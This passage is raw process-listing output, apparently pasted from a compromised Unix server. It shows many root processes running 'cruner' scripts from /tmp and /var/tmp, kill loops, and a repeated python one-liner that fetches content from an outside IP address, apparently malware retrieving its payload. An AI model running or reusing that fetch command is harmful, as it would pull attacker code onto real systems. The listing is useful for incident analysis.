? 0:02 sh /tmp/cruner > root 16887 10880 0 - ? 0:00 <defunct> > root 29121 1370 0 15:44:55 ? 0:00 bash -sh > root 22557 20622 0 15:45:26 ? 0:00 bash -sh > root 25802 9062 0 - ? 0:00 <defunct> > root 8930 3405 0 15:45:40 ? 0:00 bash -sh > root 10344 23263 0 15:45:59 ? 0:00 bash -sh > root 25361 8894 0 15:45:07 ? 0:00 bash -sh > root 25931 8154 0 - ? 0:00 <defunct> > root 12338 12329 0 15:44:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11773 3631 0 15:44:51 ? 0:00 bash -sh > root 29152 15758 0 - ? 0:00 <defunct> > root 9974 115 0 15:43:26 ? 0:00 bash -sh > root 19273 1 0 00:47:34 ? 0:00 sh /var/tmp/cruner > root 14848 16851 0 15:44:16 ? 0:00 bash -sh > root 20173 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29429 29427 0 15:45:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1507 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14722 16686 0 15:46:08 ? 0:00 bash -sh > root 10923 15039 0 - ? 0:00 <defunct> > root 8588 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16949 29272 0 15:45:22 ? 0:00 bash -sh > root 16560 9988 0 - ? 0:00 <defunct> > root 26977 27456 0 15:46:10 ? 0:00 sh /tmp/cruner > root 1361 13128 0 - ? 0:00 <defunct> > root 9108 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11240 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18766 2991 0 - ? 0:00 <defunct> > root 27411 15351 0 15:45:34 ? 0:00 sleep 60 > root 9600 28194 0 15:45:59 ? 0:00 sleep 60 > root 9013 20185 0 15:45:25 ? 0:00 sh /var/tmp/cruner > root 11098 10843 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20945 4078 0 15:45:17 ? 0:00 bash -sh > root 23985 25840 0 15:45:57 ? 0:00 xargs kill -9 > root 29514 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 16193 11313 0 15:45:46 ? 0:00 bash -sh > root 5051 8250 0 - ? 0:00 <defunct> > root 1584 17032 0 15:45:39 ? 0:00 bash -sh > root 14575 7007 0 - ? 0:00 <defunct> > root 20405 13714 0 15:45:52 ? 0:00 bash -sh > root 25954 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27321 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18977 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21144 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14178 8342 0 15:44:25 ? 0:00 bash -sh > root 22085 22072 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4042 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2113 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9195 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3672 11417 0 15:44:50 ? 0:00 bash -sh > root 15710 7676 0 15:46:08 ? 0:00 xargs kill -9 > root 10136 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4781 4280 0 15:45:44 ? 0:00 bash -sh > root 12155 19703 0 15:46:08 ? 0:00 xargs kill -9 > root 4554 10593 0 - ? 0:00 <defunct> > root 13464 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14000 1556 0 - ? 0:00 <defunct> > root 24480 16770 0 - ? 0:00 <defunct> > root 19170 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28059 6981 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 3085 1860 0 15:45:48 ? 0:00 bash -sh > root 23798 21876 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23434 23421 0 - ? 0:00 <defunct> > root 25758 20303 0 - ? 0:00 <defunct> > root 13230 13276 0 - ? 0:00 <defunct> > root 23173 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11295 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22692 21269 0 - ? 0:00 <defunct> > root 20937 5426 0 15:45:42 ? 0:00 bash -sh > root 5302 5299 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23525 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21632 4857 0 - ? 0:00 <defunct> > root 21893 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18693 12716 0 15:45:12 ? 0:00 sleep 60 > root 25239 29360 0 15:45:07 ? 0:00 bash -sh > root 15045 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 3473 18602 0 15:45:09 ? 0:00 bash -sh > root 10763 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1578 19778 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8070 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10788 12668 0 - ? 0:00 <defunct> > root 27351 26843 0 - ? 0:00 <defunct> > root 13614 4840 0 15:44:52 ? 0:00 bash -sh > root 16764 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11999 18828 0 15:45:41 ? 0:00 bash -sh > root 9031 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11638 10227 0 - ? 0:00 <defunct> > root 12772 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19807 12411 0 - ? 0:00 <defunct> > root 18439 29611 0 15:46:09 ? 0:00 bash -sh > root 19280 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3022 24955 0 15:45:40 ? 0:00 sleep 60 > root 22747 20452 0 15:45:13 ? 0:00 sleep 60 > root 27462 25915 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16104 20543 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 22414 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27605 13064 0 15:43:30 ? 0:00 bash -sh > root 16494 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16777 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13400 13398 0 - ? 0:00 <defunct> > root 7960 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18089 20298 0 15:45:42 ? 0:00 sleep 60 > root 7501 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15877 7302 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 18986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12465 26625 0 15:45:21 ? 0:00 sleep 60 > root 16677 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24541 15543 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17790 17784 0 15:44:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10682 24834 0 - ? 0:00 <defunct> > root 364 11001 0 15:45:08 ? 0:00 bash -sh > root 2890 23245 0 15:45:19 ? 0:00 sleep 60 > root 14901 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25089 18362 0 - ? 0:00 <defunct> > root 28072 8190 0 - ? 0:00 <defunct> > root 3374 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1943 25435 0 15:45:19 ? 0:00 sleep 60 > root 7559 4375 0 15:45:54 ? 0:00 sleep 60 > root 15008 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 28315 11154 0 15:45:53 ? 0:00 bash -sh > root 5866 10013 0 - ? 0:00 <defunct> > root 17393 1 0 21:28:52 ? 0:00 sh /tmp/cruner > root 6572 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24629 24623 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12904 29632 0 - ? 0:00 <defunct> > root 2867 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8733 8346 0 15:45:49 ? 0:00 /bin/ksh -p /bin/kill -9 > root 590 29054 0 15:45:44 ? 0:00 bash -sh > root 18020 10973 0 15:46:09 ? 0:00 xargs kill -9 > root 10483 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19982 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24134 14979 0 - ? 0:00 <defunct> > root 3420 15440 0 - ? 0:00 <defunct> > root 17886 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21357 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14422 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25042 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14634 5455 0 15:45:21 ? 0:00 sleep 60 > root 11564 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3694 19533 0 15:45:15 ? 0:00 bash -sh > root 3724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28476 945 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 9704 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 21423 12115 0 15:45:52 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22478 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22488 22214 0 - ? 0:00 <defunct> > root 21264 11595 0 15:43:13 ? 0:00 bash -sh > root 16803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18904 11020 0 - ? 0:00 <defunct> > root 3642 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4181 29576 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4682 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23055 22603 0 15:45:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9525 19898 0 15:45:50 ? 0:00 sh /tmp/cruner > root 3966 26920 0 15:45:19 ? 0:00 sleep 60 > root 26820 17310 0 15:45:34 ? 0:00 sleep 60 > root 21131 25900 0 15:45:29 ? 0:00 bash -sh > root 3237 10629 0 - ? 0:00 <defunct> > root 21708 19793 0 15:44:19 ? 0:00 bash -sh > root 2865 5150 0 15:46:11 ? 0:00 sh /var/tmp/cruner > root 22061 24590 0 - ? 0:00 <defunct> > root 6639 9202 0 15:45:58 ? 0:00 sleep 60 > root 6239 6211 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23527 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23917 23657 0 15:46:05 ? 0:00 bash -sh > root 16864 9369 0 15:45:37 ? 0:00 sleep 60 > root 17675 19156 0 15:46:00 ? 0:00 sh /tmp/cruner > root 9925 7616 0 - ? 0:00 <defunct> > root 11547 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3546 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3195 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3399 25862 0 - ? 0:00 <defunct> > root 21238 21541 0 15:45:52 ? 0:00 bash -sh > root 3557 8801 0 15:46:11 ? 0:00 bash -sh > root 20427 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11880 16128 0 15:45:59 ? 0:00 bash -sh > root 19957 3597 0 15:45:33 ? 0:00 sleep 60 > root 17970 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3930 11715 0 15:46:06 ? 0:00 sleep 60 > root 18437 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29909 5599 0 15:45:34 ? 0:00 sleep 60 > root 3640 24974 0 - ? 0:00 <defunct> > root 24194 18403 0 15:44:54 ? 0:00 bash -sh > root 12240 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27035 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21840 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 10787 3503 0 15:46:07 ? 0:00 sleep 60 > root 15476 13088 0 15:45:46 ? 0:00 bash -sh > root 20220 11644 0 15:44:53 ? 0:00 bash -sh > root 26317 27622 0 15:45:18 ? 0:00 sleep 60 > root 16998 7177 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13496 25476 0 - ? 0:00 <defunct> > root 2574 7683 0 15:46:11 ? 0:00 bash -sh > root 17263 9290 0 15:43:56 ? 0:00 bash -sh > root 19007 10243 0 15:42:54 ? 0:00 bash -sh > root 11718 8017 0 - ? 0:00 <defunct> > root 29856 22326 0 15:45:34 ? 0:00 sleep 60 > root 7587 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15994 3816 0 15:46:08 ? 0:00 xargs kill -9 > root 9183 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12200 24208 0 15:45:41 ? 0:00 bash -sh > root 23221 29466 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7515 23369 0 15:46:03 ? 0:00 bash -sh > root 28757 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12941 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 164 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27835 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19391 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 946 14507 0 - ? 0:00 <defunct> > root 3711 21747 0 15:43:54 ? 0:00 bash -sh > root 5399 29063 0 15:45:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23750 5011 0 - ? 0:00 <defunct> > root 6271 13347 0 - ? 0:00 <defunct> > root 9166 14057 0 15:46:07 ? 0:00 bash -sh > root 11687 25253 0 15:45:55 ? 0:00 sleep 60 > root 6205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10774 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20819 18703 0 - ? 0:00 <defunct> > root 5895 5831 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21276 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24550 10608 0 15:45:13 ? 0:00 bash -sh > root 26451 16127 0 15:45:53 ? 0:00 sleep 60 > root 11421 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26626 25901 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 11095 4993 0 15:45:21 ? 0:00 sleep 60 > root 5554 9273 0 15:45:24 ? 0:00 sleep 60 > root 24670 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8407 11092 0 15:45:01 ? 0:00 bash -sh > root 12928 1594 0 15:46:08 ? 0:00 sleep 60 > root 12458 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 519 6867 0 - ? 0:00 <defunct> > root 11629 11612 0 - ? 0:00 <defunct> > root 2253 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23862 2535 0 15:45:43 ? 0:00 sleep 60 > root 22995 13627 0 15:46:09 ? 0:00 bash -sh > root 14799 16758 0 15:44:05 ? 0:00 bash -sh > root 12735 29614 0 15:43:32 ? 0:00 bash -sh > root 23168 23157 0 - ? 0:00 <defunct> > root 7405 952 0 15:45:58 ? 0:00 bash -sh > root 17205 4105 0 15:45:12 ? 0:00 bash -sh > root 19723 1885 0 - ? 0:00 <defunct> > root 8770 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19219 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25017 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18687 20942 0 15:45:37 ? 0:00 bash -sh > root 2491 9898 0 15:45:14 ? 0:00 bash -sh > root 29817 1544 0 15:45:18 ? 0:00 sleep 60 > root 10353 3736 0 - ? 0:00 <defunct> > root 7728 25859 0 15:45:36 ? 0:00 bash -sh > root 7781 29946 0 - ? 0:00 <defunct> > root 13911 13951 0 15:45:11 ? 0:00 sh /tmp/cruner > root 4512 17929 0 15:44:02 ? 0:00 bash -sh > root 16485 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15063 29637 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 3678 19466 0 15:45:54 ? 0:00 sleep 60 > root 11037 20789 0 15:46:07 ? 0:00 sleep 60 > root 29697 1467 0 15:45:58 ? 0:00 xargs kill -9 > root 15300 18440 0 15:46:04 ? 0:00 sleep 60 > root 28755 5746 0 - ? 0:00 <defunct> > root 22393 2455 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 11865 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6534 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18784 18535 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 7583 2567 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24450 16633 0 - ? 0:00 <defunct> > root 26644 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20341 9060 0 - ? 0:00 <defunct> > root 13274 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24720 1 0 01:49:59 ? 0:00 sh /var/tmp/cruner > root 21974 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23336 18994 0 15:45:17 ? 0:00 sleep 60 > root 133 4731 0 - ? 0:00 <defunct> > root 16237 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23725 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28498 21402 0 15:45:18 ? 0:00 sleep 60 > root 509 19435 0 15:44:11 ? 0:00 bash -sh > root 22183 21220 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8534 11532 0 15:46:07 ? 0:00 xargs kill -9 > root 28593 28589 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5430 13868 0 15:43:08 ? 0:00 bash -sh > root 20490 18335 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25245 23259 0 15:45:39 ? 0:00 bash -sh > root 5875 3952 0 - ? 0:00 <defunct> > root 19488 28902 0 - ? 0:00 <defunct> > root 25085 17613 0 15:46:01 ? 0:00 xargs kill -9 > root 27463 24732 0 15:46:02 ? 0:00 sh /tmp/cruner > root 16596 15205 0 15:45:51 ? 0:00 bash -sh > root 14706 21820 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 8966 16228 0 - ? 0:00 <defunct> > root 26658 12393 0 15:45:18 ? 0:00 sleep 60 > root 11439 4674 0 15:46:07 ? 0:00 xargs kill -9 > root 27513 23243 0 - ? 0:00 <defunct> > root 12 4110 0 - ? 0:00 <defunct> > root 19192 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4888 4774 0 15:45:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2123 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26927 25402 0 15:45:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26363 22690 0 15:43:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29159 16652 0 15:45:18 ? 0:00 sleep 60 > root 1979 13825 0 15:46:02 ? 0:00 bash -sh > root 2901 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23115 3931 0 15:45:43 ? 0:00 bash -sh > root 19797 15489 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 14510 3997 0 15:45:45 ? 0:00 bash -sh > root 11955 13185 0 15:44:43 ? 0:00 bash -sh > root 8229 406 0 - ? 0:00 <defunct> > root 1667 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9738 27348 0 15:46:07 ? 0:00 sleep 60 > root 2264 9573 0 15:45:19 ? 0:00 sleep 60 > root 20397 21009 0 15:44:53 ? 0:00 bash -sh > root 22893 8961 0 15:46:01 ? 0:00 sh /var/tmp/cruner > root 22169 29594 0 - ? 0:00 <defunct> > root 3910 21071 0 - ? 0:00 <defunct> > root 26606 20824 0 15:46:01 ? 0:00 bash -sh > root 24528 27353 0 15:45:57 ? 0:00 sleep 60 > root 21628 6276 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3784 13536 0 - ? 0:00 <defunct> > root 27570 4792 0 15:42:55 ? 0:00 bash -sh > root 3621 15658 0 15:45:48 ? 0:00 bash -sh > root 25693 12734 0 15:45:43 ? 0:00 sleep 60 > root 29023 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15537 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9025 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24244 12983 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6740 18399 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19075 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27113 16459 0 - ? 0:00 <defunct> > root 4423 10023 0 15:44:23 ? 0:00 bash -sh > root 29030 17654 0 - ? 0:00 <defunct> > root 26013 23511 0 15:46:01 ? 0:00 sleep 60 > root 22812 8078 0 - ? 0:00 <defunct> > root 10888 29453 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 8280 2492 0 - ? 0:00 <defunct> > root 15004 12078 0 15:43:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12448 1 0 19:26:53 ? 0:00 sh /var/tmp/cruner > root 15980 26941 0 15:45:22 ? 0:00 bash -sh > root 25551 21087 0 15:44:49 ? 0:00 bash -sh > root 19266 20747 0 15:45:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27812 29246 0 - ? 0:00 <defunct> > root 16398 1016 0 15:44:35 ? 0:00 bash -sh > root 7614 9909 0 15:45:04 ? 0:00 bash -sh > root 19867 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29254 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17486 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22315 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 706 4150 0 15:45:48 ? 0:00 sleep 60 > root 23444 3386 0 - ? 0:00 <defunct> > root 18285 24306 0 15:46:00 ? 0:00 sh /tmp/cruner > root 23768 6562 0 - ? 0:00 <defunct> > root 6341 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14425 8852 0 15:45:59 ? 0:00 bash -sh > root 21069 22397 0 - ? 0:00 <defunct> > root 13163 12659 0 15:45:41 ? 0:00 sh /var/tmp/cruner > root 23669 21181 0 15:45:33 ? 0:00 sleep 60 > root 26562 13418 0 - ? 0:00 <defunct> > root 7595 1010 0 - ? 0:00 <defunct> > root 18681 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6913 7089 0 - ? 0:00 <defunct> > root 11522 24996 0 15:45:59 ? 0:00 bash -sh > root 3281 28506 0 15:44:42 ? 0:00 bash -sh > root 19580 4997 0 - ? 0:00 <defunct> > root 24773 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20545 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9349 18850 0 - ? 0:00 <defunct> > root 25431 22127 0 - ? 0:00 <defunct> > root 27440 25438 0 15:45:47 ? 0:00 sleep 60 > root 4718 26824 0 15:46:06 ? 0:00 sleep 60 > root 20344 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1118 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12778 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10163 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25233 10022 0 15:44:40 ? 0:00 bash -sh > root 7574 1 0 Oct 06 ? 0:02 sh /var/tmp/cruner > root 4879 10991 0 15:45:24 ? 0:00 bash -sh > root 28369 1052 0 - ? 0:00 <defunct> > root 17846 8163 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19993 4351 0 - ? 0:00 <defunct> > root 13899 26160 0 15:45:59 ? 0:00 sleep 60 > root 12849 28244 0 - ? 0:00 <defunct> > root 28930 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1987 5644 0 15:46:06 ? 0:00 bash -sh > root 5228 22551 0 15:46:06 ? 0:00 bash -sh > root 8079 10650 0 - ? 0:00 <defunct> > root 18546 25297 0 15:45:51 ? 0:00 sleep 60 > root 754 19322 0 - ? 0:00 <defunct> > root 9330 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8366 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15505 10064 0 15:46:08 ? 0:00 sh /tmp/cruner > root 22274 22271 0 15:45:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21641 3291 0 - ? 0:00 <defunct> > root 13252 746 0 - ? 0:00 <defunct> > root 7612 6178 0 15:46:07 ? 0:00 bash -sh > root 20087 16812 0 - ? 0:00 <defunct> > root 18969 17388 0 15:45:26 ? 0:00 sleep 60 > root 1529 1508 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15414 6046 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3534 8560 0 15:44:42 ? 0:00 bash -sh > root 27004 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3404 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 21799 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24704 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9034 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17419 2687 0 15:46:00 ? 0:00 sh /tmp/cruner > root 14844 18714 0 15:43:02 ? 0:00 bash -sh > root 28763 13987 0 15:46:02 ? 0:00 sleep 60 > root 10801 12042 0 15:45:55 ? 0:00 bash -sh > root 19407 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7208 9297 0 15:44:13 ? 0:00 bash -sh > root 23645 20913 0 15:45:43 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 16917 7632 0 - ? 0:00 <defunct> > root 21292 22013 0 15:45:29 ? 0:00 bash -sh > root 18765 24103 0 15:45:22 ? 0:00 bash -sh > root 27944 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28531 16224 0 15:44:45 ? 0:00 bash -sh > root 15844 13523 0 - ? 0:00 <defunct> > root 14690 4687 0 15:44:16 ? 0:00 bash -sh > root 19175 29851 0 15:45:22 ? 0:00 xargs kill -9 > root 1535 24959 0 15:46:06 ? 0:00 bash -sh > root 21193 23892 0 15:45:42 ? 0:00 sleep 60 > root 1850 2347 0 15:45:35 ? 0:00 xargs kill -9 > root 15358 22455 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 20832 28579 0 - ? 0:00 <defunct> > root 13082 3854 0 15:44:15 ? 0:00 bash -sh > root 25416 6020 0 15:45:43 ? 0:00 sleep 60 > root 5629 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22822 29727 0 15:45:38 ? 0:00 bash -sh > root 6532 2565 0 15:45:25 ? 0:00 sleep 60 > root 11508 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2089 7158 0 - ? 0:00 <defunct> > root 10231 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22966 232 0 15:46:01 ? 0:00 sh /tmp/cruner > root 17585 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14766 29650 0 - ? 0:00 <defunct> > root 2920 27644 0 - ? 0:00 <defunct> > root 11657 11599 0 15:44:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15270 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25439 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 50 21154 0 15:45:53 ? 0:00 xargs kill -9 > root 10623 12040 0 15:45:55 ? 0:00 sleep 60 > root 7537 16186 0 - ? 0:00 <defunct> > root 24350 1048 0 15:45:02 ? 0:00 bash -sh > root 11664 28144 0 15:45:59 ? 0:00 bash -sh > root 10149 26833 0 15:45:50 ? 0:00 /bin/ksh -p /bin/kill -9 > root 17120 7637 0 - ? 0:00 <defunct> > root 20736 16972 0 15:45:42 ? 0:00 sleep 60 > root 545 16789 0 - ? 0:00 <defunct> > root 16198 6432 0 15:46:00 ? 0:00 bash -sh > root 2391 9698 0 15:46:11 ? 0:00 bash -sh > root 10575 1147 0 15:45:28 ? 0:00 sleep 60 > root 16711 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27806 27688 0 15:45:47 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25914 20578 0 - ? 0:00 <defunct> > root 24503 8818 0 15:43:40 ? 0:00 bash -sh > root 9726 9712 0 15:45:31 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21813 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19161 21259 0 15:45:29 ? 0:00 sleep 60 > root 18644 20459 0 - ? 0:00 